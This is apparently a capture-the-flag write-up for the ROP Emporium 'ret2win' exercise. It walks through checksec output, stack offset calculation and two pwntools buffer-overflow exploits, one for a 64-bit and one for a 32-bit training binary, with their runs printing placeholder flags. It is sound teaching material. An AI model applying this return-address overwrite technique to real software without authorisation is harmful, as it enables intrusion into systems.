$ ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> aaaaaa
Thank you!
Exiting
It takes user input and then exits.
We can use the checksec utility in order to identify the security properties of the binary executable.
$ checksec ret2win
[*] '/home/hacker/ropEmporium/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
There's two important properties we want to focus on here:
NX enabled: This means that the stack is not executable. Therefore we cannot use a shellcode injection.
No PIE (0x400000): This means that the executable is not positionally independent and it is always loaded at address 0x400000. So the code and memory regions will have the same address every time we run it.
Let's open the executable using gdb-pwndbg and look at the functions.
On examining the argument, we can see that it is in fact the flag file. Now we know that the ret2win function needs to be called in order to get the flag.
Let's disassemble main to check if the ret2win or pwnme function is being called.
We can see that the pwnme function is being called but not the ret2win function. Therefore we will have to perform a buffer overflow in order to alter program flow and execute ret2win.
We first have to find the distance between the buffer and the return address.
We can see that if we increment the rbp by 8, it will point to the saved return address.
Therefore the distance between the buffer and the saved return address is offset+8 which is equal to 40.
Exploit requirements
We now have all the information we need to create an exploit.
Exploit
from pwn import*padding =b"a"*40ret2win_addr =p64(0x400756)payload = padding + ret2win_addrp =process('./ret2win')p.sendline(payload)p.interactive()
Let's run the exploit.
$ python exploit.py
[+] Starting local process './ret2win': pid 26803
[*] Switching to interactive mode
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag}
32 bit
In order to create an exploit we need to know the following:
ret2win()
Let's disassemble ret1win.
pwndbg> disassemble ret2win
Dump of assembler code for function ret2win:
0x0804862c <+0>: push ebp
0x0804862d <+1>: mov ebp,esp
0x0804862f <+3>: sub esp,0x8
0x08048632 <+6>: sub esp,0xc
0x08048635 <+9>: push 0x80487f6
0x0804863a <+14>: call 0x80483d0 <puts@plt>
0x0804863f <+19>: add esp,0x10
0x08048642 <+22>: sub esp,0xc
0x08048645 <+25>: push 0x8048813
0x0804864a <+30>: call 0x80483e0 <system@plt>
0x0804864f <+35>: add esp,0x10
0x08048652 <+38>: nop
0x08048653 <+39>: leave
0x08048654 <+40>: ret
End of assembler dump.
So the address of ret2win is 0x0804862c in the 32-bit executable. One thing to note is that the arguments for a 32-bit function call are pushed on the stack whereas the arguments for a 64-bit function call are stored in registers.
You can check out live overflow's video if you to know more differences in 64-bit and 32-bit assembly.
We can see that if we increment the ebp by 4, it will point to the saved return address.
Therefore the distance between the buffer and the saved return address is offset+4 which is equal to 44.
Exploit requirements
We now have all the information we need to create an exploit.
Exploit
from pwn import*padding =b"a"*44ret2win_addr =p32(0x0804862c)payload = padding + ret2win_addrp =process('./ret2win32')p.sendline(payload)p.interactive()
Let's run the exploit.
$ python exploit.py
[x] Starting local process './ret2win32'
[+] Starting local process './ret2win32': pid 35136
[*] Switching to interactive mode
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}